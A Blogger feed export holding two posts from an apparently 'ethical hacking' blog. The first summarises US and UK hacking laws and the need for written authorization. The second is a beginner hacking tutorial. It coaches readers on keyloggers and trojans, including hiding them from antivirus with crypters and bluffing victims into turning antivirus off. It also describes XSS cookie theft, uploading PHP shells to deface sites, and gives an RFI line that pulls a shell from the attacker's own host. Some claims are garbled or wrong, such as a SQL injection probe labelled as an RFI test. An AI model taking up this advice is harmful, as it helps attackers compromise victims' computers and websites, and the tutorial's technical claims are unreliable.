Although some hackers might have the benefit of bouncing around the 
globe from system to system, your work will likely occur within the 
confines of the host nation. The United States and some other countries 
have instigated strict laws to deal with hackers and hacking. During the
 past five years, the U.S. federal government has taken an active role 
in dealing with computer, Internet, privacy, corporate threats, 
vulnerabilities, and exploits. These are laws you should be aware of and
 not become entangled in. Hacking is covered under law Title 18: Crimes 
and Criminal Procedure: Part 1: Crimes: Chapter 47: Fraud and False 
Statements: Section 1029 and 1030. Each are described here: &lt;br /&gt;
&lt;br /&gt;
Section 1029&lt;br /&gt;
Fraud and related activity with access devices. This law gives the U.S. 
federal government the power to prosecute hackers that knowingly and 
with intent to defraud, produce, use, or traffic in one or more 
counterfeit access devices. Access devices can be an application or 
hardware that is created specifically to generate any type of access 
credentials, including passwords, credit card numbers, long distance 
telephone service access codes, PINs, and so on for the purpose of 
unauthorized access.&lt;br /&gt;
&lt;br /&gt;
Section 1030&lt;br /&gt;
Fraud and related activity in connection with computers. The law covers 
just about any computer or device connected to a network or Internet. It
 mandates penalties for anyone who accesses a computer in an 
unauthorized manner or exceeds one’s access rights. This a powerful law 
because companies can use it to prosecute employees when they use the 
rights the companies have given them to carry out fraudulent activities.
 &lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;TIP&lt;/b&gt; &lt;br /&gt;
&lt;br /&gt;
Sections 1029 and 1030 are the main statutes that address computer crime
 in U.S. federal law. Understand its basic coverage and penalties. &lt;br /&gt;
&lt;br /&gt;
The Evolution of Hacking Laws &lt;br /&gt;
In 1985, hacking was still in its infancy in England. Because of the 
lack of hacking laws, some British hackers felt there was no way they 
could be prosecuted. Triludan the Warrior was one of these individuals. 
Besides breaking into the British Telecom system, he also broke an admin
 password for Prestel. Prestel was a dialup service that provided online
 services, shopping, email, sports, and weather. One user of Prestel was
 His Royal Highness, Prince Phillip. Triludan broke into the Prince’s 
mailbox along with various other activities, such as leaving the Prestel
 system admin messages and taunts. Triludan the Warrior was caught on 
April 10, 1985, and was charged with five counts of forgery, as no 
hacking laws existed. After several years and a 3.5 million dollar legal
 battle, Triludan was eventually acquitted. Others were not so lucky 
because in 1990, Parliament passed The Computer Misuse Act, which made 
hacking attempts punishable by up to five years in jail. Today, the UK, 
along with most of the Western world, has extensive laws against 
hacking. &lt;br /&gt;
&lt;br /&gt;
The federal punishment described in Sections 1029 and 1030 for hacking 
into computers ranges from a fine or imprisonment for no more than one 
year. It might also include a fine and imprisonment for no more than 
twenty years. This wide range of punishment depends on the seriousness 
of the criminal activity and what damage the hacker has done. Other 
federal laws that address hacking include: &lt;br /&gt;
&lt;br /&gt;
Electronic Communication Privacy Act&lt;br /&gt;
Mandates provisions for access, use, disclosure, interception, and 
privacy protections of electronic communications. The law encompasses 
USC Sections 2510 and 2701. According to the U.S. Code, electronic 
communications “means any transfer of signs, signals, writing, images, 
sounds, data, or intelligence of any nature transmitted in whole or in 
part by a wire, radio, electromagnetic, photo electronic, or photo 
optical system that affects interstate or foreign commerce.” This law 
makes it illegal for individuals to capture communication in transit or 
in storage. Although these laws were originally developed to secure 
voice communications, it now covers email and electronic communication. &lt;br /&gt;
&lt;br /&gt;
Computer Fraud and Abuse Act of 1984&lt;br /&gt;
The Computer Fraud and Abuse Act (CFAA) of 1984 protects certain types 
of information that the government maintains as sensitive. The Act 
defines the term “classified computer,” and imposes punishment for 
unauthorized or misused access into one of these protected computers or 
systems. The Act also mandates fines and jail time for those who commit 
specific computer - related actions, such as trafficking in passwords or
 extortion by threatening a computer. In 1992, Congress amended the CFAA
 to include malicious code, which was not included in the original Act. &lt;br /&gt;
&lt;br /&gt;
The Cyber Security Enhancement Act of 2002 - This Act mandates that 
hackers who carry out certain computer crimes might now get life 
sentences in jail if the crime could result in another’s bodily harm or 
possible death. This means that if hackers disrupt a 911 system, they 
could spend the rest of their days in jail.&lt;br /&gt;
&lt;br /&gt;
The Uniting and Strengthening America by Providing Appropriate Tools 
Required to Intercept and Obstruct Terrorism (USA PATRIOT) Act of 2001 -
 Originally passed because of the World Trade Center attack on September
 11, 2001. Strengthens computer crime laws and has been the subject of 
some controversy. This Act gives the U.S. government extreme latitude in
 pursuing criminals. The Act permits the U.S. government to monitor 
hackers without a warrant and perform sneak and peek searches. &lt;br /&gt;
&lt;br /&gt;
The Federal Information Security Management Act (FISMA) - Signed into 
law in 2002 as part of the E-Government Act of 2002, replacing the 
Government Information Security Reform Act (GISRA). FISMA was enacted to
 address the information security requirements for non-national security
 government agencies. FISMA provides a statutory framework for securing 
government owned and operated IT infrastructures and assets. &lt;br /&gt;
&lt;br /&gt;
Federal Sentencing Guidelines of 1991 - Provide guidelines to judges so 
that sentences would be handed down in a more uniform manner. &lt;br /&gt;
&lt;br /&gt;
Economic Espionage Act of 1996 - Defines strict penalties for those accused of espionage. &lt;br /&gt;
&lt;br /&gt;
U.S. Child Pornography Prevention Act of 1996 - Enacted to combat and 
reduce the use of computer technology to produce and distribute 
pornography. &lt;br /&gt;
&lt;br /&gt;
U.S. Health Insurance Portability and Accountability Act (HIPPA) - 
Established privacy and security regulations for the health care 
industry. &lt;br /&gt;
&lt;br /&gt;
&lt;h3 class=&quot;articleheading&quot;&gt;
Summary&lt;/h3&gt;
&lt;br /&gt;
This lesson proves that security is based on the CIA triad. This triad 
considers confidentiality, integrity, and availability. The application 
of the principles of the CIA triad must be applied to Information 
Technology (IT) networks and their data. The data must be protected in 
storage and in transit. &lt;br /&gt;
&lt;br /&gt;
Because the organization cannot provide complete protection for all of 
its assets, a system must be developed to rank risk and vulnerabilities.
 Organizations must seek to identify high risk and high impact events 
for protective mechanisms. Part of the job of an ethical hacker is to 
identify potential vulnerabilities to these critical assets and test 
systems to see whether they are vulnerable to exploits. &lt;br /&gt;
&lt;br /&gt;
The activities described are security tests. Ethical hackers can perform
 security tests from an unknown perspective, blackbox testing, or with 
all documentation and knowledge, whitebox testing. The type of approach 
to testing that is taken will depend on the time, funds, and objective 
of the security test. Organizations can have many aspects of their 
protective systems tested, such as physical security, phone systems, 
wireless access, insider access, or external hacking. To perform these 
tests, ethical hackers need a variety of skills. They must be adept in 
the technical aspects of network but also understand policy and 
procedure. No single ethical hacker will understand all operating 
systems, networking protocols, or application software, but that’s okay,
 as security tests are performed by teams of individuals where each 
brings a unique skill to the table. &lt;br /&gt;
&lt;br /&gt;
So, even though “God-like” knowledge isn’t required, an ethical hacker 
does need to understand laws pertaining to hackers and hacking. He must 
also understand that the most important part of the pre-test activities 
is to obtain written authorization. No test should be performed without 
the written permission of the network or service. Following this simple 
rule will help you stay focused on the legitimate test objectives and 
help protect you from any activities or actions that might be seen as 
unethical.&lt;br /&gt;
&lt;/div&gt;
</content><link rel='replies' type='application/atom+xml' href='http://eh4ck3r.blogspot.com/feeds/8338295596136060082/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://eh4ck3r.blogspot.com/2012/10/introduction-this-lesson-introduces-you.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1025344304635377260/posts/default/8338295596136060082'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1025344304635377260/posts/default/8338295596136060082'/><link rel='alternate' type='text/html' href='http://eh4ck3r.blogspot.com/2012/10/introduction-this-lesson-introduces-you.html' title=''/><author><name>Mµkè$h</name><uri>http://www.blogger.com/profile/03129457919934812935</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1025344304635377260.post-1574737409390190031</id><published>2012-10-19T12:06:00.001-07:00</published><updated>2012-10-19T12:06:15.213-07:00</updated><title type='text'>Overview</title><content type='html'>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;
&lt;h3 class=&quot;articleheading&quot;&gt;
Introduction:&lt;/h3&gt;
&lt;br /&gt;
&lt;br /&gt;
We see a millions of people going to different forums and websites and 
asking &quot;how do i hack an email?&quot;, &quot;Can you hack blah for me?&quot;. So 
thought to create a tutorial which will give you the basic idea about 
what the heck is a &quot;HACK&quot;, and how to DEFEND YOUR SELF AGAINST HACKERS. &lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;&lt;span style=&quot;color: red;&quot;&gt;&lt;br /&gt;
&lt;/span&gt;&lt;br /&gt;
&lt;/b&gt;&lt;h3 class=&quot;articleheading&quot;&gt;
&lt;a href=&quot;https://www.blogger.com/blogger.g?blogID=1025344304635377260&quot; name=&quot;bg&quot;&gt;&lt;/a&gt;Background:&lt;/h3&gt;
&lt;br /&gt;
&lt;br /&gt;
Hacking started way too far when the windowsd 98 was designed. Hacking 
is basically finding out the loop holes and trying leak some information
 out of it, which may lead you to get some critical information like 
passwords, credit card details. Sometimes hacking is done just because 
of the personal offesnses.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Things to remember&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
I will suggest you, &lt;b&gt;KEEP READING ARTICLES AND TUTORIALS FROM GOOD SITES. THATS THE ONLY WAY YOU CAN LEARN.&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;h3 class=&quot;articleheading&quot;&gt;
&lt;a href=&quot;https://www.blogger.com/blogger.g?blogID=1025344304635377260&quot; name=&quot;code&quot;&gt;&lt;/a&gt;Initialization:&lt;/h3&gt;
&lt;br /&gt;
&lt;br /&gt;
Getting back to the main point, I am going to discuss some of the ways 
of hacking in brief. Hacking is basically bifurcated in 2 major parts.&lt;br /&gt;
&lt;br /&gt;
1. Email or the user information&lt;br /&gt;
2. Web based hacking.&lt;br /&gt;
&lt;br /&gt;
&lt;h3 class=&quot;articleheading&quot;&gt;
&lt;a href=&quot;https://www.blogger.com/blogger.g?blogID=1025344304635377260&quot; name=&quot;code&quot;&gt;&lt;/a&gt;Email or user information:&lt;/h3&gt;
&lt;br /&gt;
&lt;br /&gt;
These days the most commonly used and famous way of hacking user 
information like Emails, Passwords, Credit card details are as follow:&lt;br /&gt;
&lt;br /&gt;
a. Phishing&lt;br /&gt;
b. Brute Forcing&lt;br /&gt;
c. Keylogging&lt;br /&gt;
d. Trojans&lt;br /&gt;
&lt;br /&gt;
&lt;u&gt;&lt;b&gt;a. Phishing:&lt;/b&gt;&lt;/u&gt;&lt;blockquote&gt;
      Phishing is basically a 
massive attack. What a hacker does is, they created an absoulutely look 
alike page of some website like yahoo or gmail. They upload it to their 
own server. And give the link to any n00b user. When they open it, they 
think that they are on the yahoo or gmail page, they put in their 
username and password, click on submit and WHOA! your information has 
been submitted. This is widely used by new people trying to entering 
into ahcking world.&lt;br /&gt;
                     Most recent example in india was some scam with 
ICICI bank, lots of user info was stolen as far as i remember. I read it
 somewhere in the news paper and was thinking what the hell! ?&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Disadvantages:&lt;/b&gt; Still many people give it a try before going for 
phishing, because the only problem in phishing is, even if the victim 
knows a little about internet, he will read the URL and understand that 
it is not a genuine website.&lt;br /&gt;
&lt;/blockquote&gt;
&lt;u&gt;&lt;b&gt;b. Brute Forcing&lt;/b&gt;&lt;/u&gt;&lt;blockquote&gt;
          Brute 
forcer is basically a program which could be called as a &quot;cracker&quot;. In 
brute focer you put the username you want to hack, and as a password you
 put a notepad file which has almost all of the existing english words 
in it. So what it does is, it will try each and every word from that 
file and see if anything matches. You might have noticed some topics 
like &quot;huge pass list&quot; on different forums, they are nothing but the 
password list to put into your bruteforcer.!&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Disadvantages:&lt;/b&gt; &lt;br /&gt;
1. Sometimes brute forcing may just go for ages!&lt;br /&gt;
2. It isnt guaranteed&lt;br /&gt;
3. These days many people have alpha-numeric-symbol password which is real tough for brutefocer to detect&lt;br /&gt;
4. Most of the famous sites like yahoo, gmail are designed in such a way
 that it will put the &quot;image captcha&quot; after 3 incorrect login attempts, 
which stops the bruteforcer.&lt;br /&gt;
&lt;br /&gt;
P.S:- I have made some focused FTP, Gmail &amp;amp; Yahoo bruteforcers which are avilable on my website.&lt;br /&gt;
&lt;/blockquote&gt;
&lt;b&gt;&lt;u&gt;c. Keylogging&lt;/u&gt;&lt;/b&gt;&lt;blockquote&gt;
             
Keylogger helps you to create a little filed which is known as &quot;server&quot;.
 You gotta send your server to the victim. he has to click on it and 
then YOUR DONE! this is what happens.&lt;br /&gt;
             Best possible way to hack someone.  Keyloggers are 
basically a program which will install themselves in your victim&#39;s 
computer and will keep on recording each and every keystroke pressed by 
the victim on his keyboard and it will send it to the hacker. There are 
many ways to receive the keystroke i.e. FTP, Email, Messengers. 
According to me this is the best way to trick your victim and get their 
information &lt;img alt=&quot;&quot; border=&quot;0&quot; class=&quot;inlineimg&quot; src=&quot;http://i1.g4estatic.com/smilies/biggrin.gif&quot; title=&quot;Big Grin&quot; /&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt; Disadvantages &lt;/b&gt; :&lt;br /&gt;
1. When victim receives the keylogger, in most of the cases, their anti 
virus would auto delete them. So you have to convince them to desable 
the anti virus by bluffing something.&lt;br /&gt;
2. Sometimes firewall blocks the keylogs from being sent.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt; Tips :&lt;/b&gt;&lt;br /&gt;
1. There are some programs which are known as &quot;crypters&quot; which will help
 you to make your server&#39;s undetectable. So your victim&#39;s anti-virus 
would not be able to detect them.&lt;br /&gt;
&lt;/blockquote&gt;
&lt;b&gt;&lt;u&gt;d. Trojans:&lt;/u&gt;&lt;/b&gt;&lt;blockquote&gt;
      Trojans are like
 father of keyloggers. Trojan sends you the keylogs just as keyloggers, 
on top of that, it lets you take the control of victim&#39;s computer. Edit /
 delete/ upload / download files from or to their computer. Some more 
funny features like it will make their keyboard go mad, it may kep on 
ejecting and re-inserting the cd ROM. Much more..&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt; Disadvantages &lt;/b&gt; :&lt;br /&gt;
Same as keyloggers.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt; Tips :&lt;/b&gt;&lt;br /&gt;
Same as keylogger.&lt;br /&gt;
&lt;/blockquote&gt;
&lt;h3 class=&quot;articleheading&quot;&gt;
&lt;a href=&quot;https://www.blogger.com/blogger.g?blogID=1025344304635377260&quot; name=&quot;code&quot;&gt;&lt;/a&gt;Web Hacking:&lt;/h3&gt;
&lt;br /&gt;
&lt;br /&gt;
I will discuss some most commonly used web hacking techniques which 
helps hackers to hack any website. This will help you to SAVE YOUR SITE!&lt;br /&gt;
&lt;br /&gt;
1. SQL Injection&lt;br /&gt;
2. XSS&lt;br /&gt;
3. Shells&lt;br /&gt;
4. RFI&lt;br /&gt;
5. There are some more but they are TOOO big to be discussed in here.&lt;br /&gt;
&lt;br /&gt;
&lt;u&gt;&lt;b&gt;1. SQL Injection:&lt;/b&gt;&lt;/u&gt;&lt;blockquote&gt;
                    Most of 
the websites these days are connected to an SQL Database. Which helps 
them to store usernames and passwords [encrypted] when a guest registers
 to their website. SQL database processes a querie everytime a user logs
 in. It goes to the database, validates the password, if its correct 
then it logs in the user and if its not then it gives an error.&lt;br /&gt;
                 So the basic funda is executing a command to parase a 
query in the database to try to exploit the internet information of the 
database. I cant really put the entire tutorial about because this is 
the most complicated way to hack the website! &lt;img alt=&quot;&quot; border=&quot;0&quot; class=&quot;inlineimg&quot; src=&quot;http://i1.g4estatic.com/smilies/smile.gif&quot; title=&quot;Smile&quot; /&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;P.S.:-&lt;/b&gt; If you wanna check if YOUR website is vulnerable to RFI attach or not then do the following .&lt;br /&gt;
&lt;br /&gt;
If your site&#39;s URL is:&lt;br /&gt;
&lt;div style=&quot;margin-top: 5px; margin: 20px;&quot;&gt;
 &lt;div class=&quot;smallfont&quot; style=&quot;margin-bottom: 2px;&quot;&gt;
Code:&lt;/div&gt;
&lt;pre class=&quot;alt2&quot; dir=&quot;ltr&quot; style=&quot;border: 1px inset; height: 34px; margin: 0px; overflow: auto; padding: 6px; text-align: left; width: 640px;&quot;&gt; yoursite.com/index.php?id=545&lt;/pre&gt;
&lt;/div&gt;
just add a  &#39;  like this at the end &lt;br /&gt;
&lt;div style=&quot;margin-top: 5px; margin: 20px;&quot;&gt;
 &lt;div class=&quot;smallfont&quot; style=&quot;margin-bottom: 2px;&quot;&gt;
Code:&lt;/div&gt;
&lt;pre class=&quot;alt2&quot; dir=&quot;ltr&quot; style=&quot;border: 1px inset; height: 34px; margin: 0px; overflow: auto; padding: 6px; text-align: left; width: 640px;&quot;&gt; yoursite.com/index.php?id=545&#39;&lt;/pre&gt;
&lt;/div&gt;
&lt;/blockquote&gt;
&lt;u&gt;&lt;b&gt; 2. XSS: &lt;/b&gt;&lt;/u&gt;&lt;blockquote&gt;
                 
XSS is another nice way to ahck some website. Suppose if some website/ 
forum is allowing HTML in the psot or articles, then a hacker can post a
 malicious script into the content. So whenever a user opens up the 
page, the cookies would be sent to the hacker. So he can login as that 
user and f*ck the website up. &lt;br /&gt;
&lt;/blockquote&gt;
&lt;u&gt;&lt;b&gt;3. Shells: &lt;/b&gt;&lt;/u&gt;&lt;blockquote&gt;
                  
Shell is a malicious .php script. What you have to do is, find a palce 
in any website where you can upload any file like avatars, recepie, your
 tricks, your feedbacks. And you try to upload your shell files from 
there. And if its uploaded then WHOA!you open it from the URL bar and u 
can see the entire &quot;FTP&quot; account of that webhosting. YOu can rename/edit
 / upload/download anything u want including the index page.&lt;br /&gt;
                      This is also known as deface.&lt;br /&gt;
&lt;/blockquote&gt;
&lt;u&gt;&lt;b&gt;4. RFI:&lt;/b&gt;&lt;/u&gt;&lt;blockquote&gt;
                RFI is a good way to deface a website. It is used with shell. Suppose you have uploaded your shell on:&lt;br /&gt;
&lt;div style=&quot;margin-top: 5px; margin: 20px;&quot;&gt;
 &lt;div class=&quot;smallfont&quot; style=&quot;margin-bottom: 2px;&quot;&gt;
Code:&lt;/div&gt;
&lt;pre class=&quot;alt2&quot; dir=&quot;ltr&quot; style=&quot;border: 1px inset; height: 34px; margin: 0px; overflow: auto; padding: 6px; text-align: left; width: 640px;&quot;&gt; yoursite.com/shell.txt&lt;/pre&gt;
&lt;/div&gt;
and you found a vulnerable site to RFI... then you can do as follow:&lt;br /&gt;
&lt;div style=&quot;margin-top: 5px; margin: 20px;&quot;&gt;
 &lt;div class=&quot;smallfont&quot; style=&quot;margin-bottom: 2px;&quot;&gt;
Code:&lt;/div&gt;
&lt;pre class=&quot;alt2&quot; dir=&quot;ltr&quot; style=&quot;border: 1px inset; height: 34px; margin: 0px; overflow: auto; padding: 6px; text-align: left; width: 640px;&quot;&gt; victimssite.com/index.php?page=yousite.com/shell.txt&lt;/pre&gt;
&lt;/div&gt;
This will again give u the access of your victim&#39;s sites FTP , just as shell so you can f*ck up anything you want.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;P.S.:-&lt;/b&gt; If you wanna check if YOUR website is vulnerable to RFI attach or not then do the following .&lt;br /&gt;
&lt;br /&gt;
If your site&#39;s URL is:&lt;br /&gt;
&lt;div style=&quot;margin-top: 5px; margin: 20px;&quot;&gt;
 &lt;div class=&quot;smallfont&quot; style=&quot;margin-bottom: 2px;&quot;&gt;
Code:&lt;/div&gt;
&lt;pre class=&quot;alt2&quot; dir=&quot;ltr&quot; style=&quot;border: 1px inset; height: 34px; margin: 0px; overflow: auto; padding: 6px; text-align: left; width: 640px;&quot;&gt; yoursite.com/index.php?id=545&lt;/pre&gt;
&lt;/div&gt;
just add something liek this at the end &lt;br /&gt;
&lt;div style=&quot;margin-top: 5px; margin: 20px;&quot;&gt;
 &lt;div class=&quot;smallfont&quot; style=&quot;margin-bottom: 2px;&quot;&gt;
Code:&lt;/div&gt;
&lt;pre class=&quot;alt2&quot; dir=&quot;ltr&quot; style=&quot;border: 1px inset; height: 34px; margin: 0px; overflow: auto; padding: 6px; text-align: left; width: 640px;&quot;&gt; yoursite.com/index.php?id=http://www.google.com&lt;/pre&gt;
&lt;/div&gt;
And if it incldes the google page into your page, that means its vulnerable to RFI.&lt;/blockquote&gt;
&lt;/div&gt;
</content><link rel='replies' type='application/atom+xml' href='http://eh4ck3r.blogspot.com/feeds/1574737409390190031/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://eh4ck3r.blogspot.com/2012/10/overview.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1025344304635377260/posts/default/1574737409390190031'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1025344304635377260/posts/default/1574737409390190031'/><link rel='alternate' type='text/html' href='http://eh4ck3r.blogspot.com/2012/10/overview.html' title='Overview'/><author><name>Mµkè$h</name><uri>http://www.blogger.com/profile/03129457919934812935</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry></feed>